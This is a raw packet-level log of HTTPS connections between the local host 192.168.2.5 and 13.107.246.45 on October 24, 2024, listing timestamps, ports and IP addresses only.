Oct 24, 2024 22:10:10.359033108 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.359046936 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.359102964 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.359277964 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.359288931 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.505669117 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.505736113 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.929641962 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.930277109 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.930341005 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.930717945 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.930753946 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.948955059 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.949328899 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.949352026 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.949911118 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.949917078 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.950546026 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.951042891 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.951080084 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.951330900 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.951337099 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062472105 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062517881 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062563896 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.062599897 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062622070 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062670946 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.062866926 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.062891006 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.062905073 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.062912941 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.065821886 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.065876961 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.065951109 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.066145897 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.066167116 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.073482990 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.073911905 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.073930025 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.074368954 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.074378014 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.081624031 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.081864119 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.081924915 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.081984043 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.082000017 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.082011938 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.082016945 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.085158110 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.085684061 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.085740089 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.085763931 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.085763931 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.085778952 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.085788012 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.088912010 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.088932991 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.088982105 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.089124918 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.089135885 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.090519905 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.090553999 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.090603113 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.090722084 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.090734005 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.094495058 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.094815969 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.094837904 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.095324039 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.095329046 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.205061913 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.205159903 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.205218077 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.205400944 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.205427885 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.205444098 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.205451012 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.208209038 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.208261013 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.208338976 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.208484888 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.208494902 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.225709915 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.225747108 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.225794077 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.225809097 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.225852966 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.225914955 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.225934982 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.225945950 CEST	56494	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.225950956 CEST	443	56494	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.228516102 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.228609085 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:11.228779078 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.228848934 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:11.228868008 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.468305111 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.469727993 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.473228931 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.474145889 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.474488974 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.520329952 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.520330906 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.520343065 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.520344019 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.521136045 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.586457014 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.586479902 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.587677956 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.587683916 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.588294983 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.588310003 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.589023113 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.589029074 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.589396954 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.589428902 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.590538979 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.590544939 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.591293097 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.591299057 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.592291117 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.592295885 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.593091011 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.593096018 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.594425917 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.594429970 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715221882 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715287924 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715337038 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.715353966 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715405941 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715456009 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.715478897 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.715492964 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715501070 CEST	56496	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.715507030 CEST	443	56496	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.715635061 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.717554092 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.717601061 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.717730045 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.717740059 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.717747927 CEST	56495	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.717752934 CEST	443	56495	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718049049 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718065023 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718118906 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718198061 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718291998 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718308926 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718368053 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718410969 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718478918 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718497038 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.718509912 CEST	56497	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.718516111 CEST	443	56497	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.719573021 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.719649076 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.719691992 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.719722986 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.719727993 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.719738960 CEST	56499	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.719743013 CEST	443	56499	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.720413923 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.721124887 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721132040 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.721147060 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721179008 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.721201897 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721230984 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721307993 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721317053 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.721345901 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.721357107 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.722310066 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.722317934 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.722372055 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.722475052 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.722484112 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727256060 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727304935 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.727317095 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727384090 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727391958 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.727410078 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.727413893 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727427959 CEST	56498	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.727427959 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.727442980 CEST	443	56498	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.729216099 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.729249954 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:12.729315996 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.729406118 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:12.729420900 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.449146032 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.453975916 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.454013109 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.454035044 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.454682112 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.454687119 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.454911947 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.454931974 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.457138062 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.457143068 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.458832979 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.459907055 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.459913969 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.461139917 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.461143970 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.466689110 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.467133045 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.467166901 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.469165087 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.469172955 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.479409933 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.480314970 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.480331898 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.481138945 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.481143951 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.579794884 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.580116034 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.581231117 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.581232071 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.581265926 CEST	56500	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.581279039 CEST	443	56500	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.584472895 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.584536076 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.584615946 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.589132071 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.589411020 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.589759111 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.596666098 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.597147942 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.597363949 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.605762959 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.605770111 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.605848074 CEST	56502	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.605853081 CEST	443	56502	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.606029034 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.606029034 CEST	56503	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.606055975 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.606064081 CEST	443	56503	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.608580112 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.608609915 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.608634949 CEST	56504	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.608642101 CEST	443	56504	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.609858990 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.609951973 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.610058069 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.610117912 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.610822916 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.610867977 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.611109018 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.611185074 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.611185074 CEST	56501	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.611190081 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.611196995 CEST	443	56501	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.612565994 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.612585068 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.615849972 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.615870953 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.615927935 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.615952015 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.616018057 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.616020918 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.616633892 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.616647959 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.616674900 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.616692066 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.618345022 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.618460894 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.618721962 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.618721962 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.618798971 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.619503021 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.619553089 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:13.621279001 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.621460915 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:13.621488094 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.337650061 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.338129044 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.338169098 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.341161013 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.341176987 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.360327959 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.360651016 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.360668898 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.361020088 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.361073017 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.361084938 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.361263990 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.361273050 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.361763000 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.361767054 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.363286018 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.363542080 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.363581896 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.363914967 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.363926888 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.370887041 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.371196032 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.371217012 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.371548891 CEST	56509	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.371560097 CEST	443	56509	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.466679096 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.466833115 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.466892958 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.467140913 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.467164993 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.467195034 CEST	56505	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.467211962 CEST	443	56505	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.475577116 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.475642920 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.475734949 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.476458073 CEST	56510	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.476492882 CEST	443	56510	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.490596056 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.490669012 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.490717888 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.492731094 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.492882967 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.492932081 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.493963003 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.494098902 CEST	443	56508	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.494160891 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.495218992 CEST	56507	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.495233059 CEST	443	56507	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.498548031 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.498569965 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.498579025 CEST	56506	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.498584986 CEST	443	56506	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:14.501046896 CEST	56508	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:14.501070023 CEST	443	56508	13.107.246.45	192.168.2.5
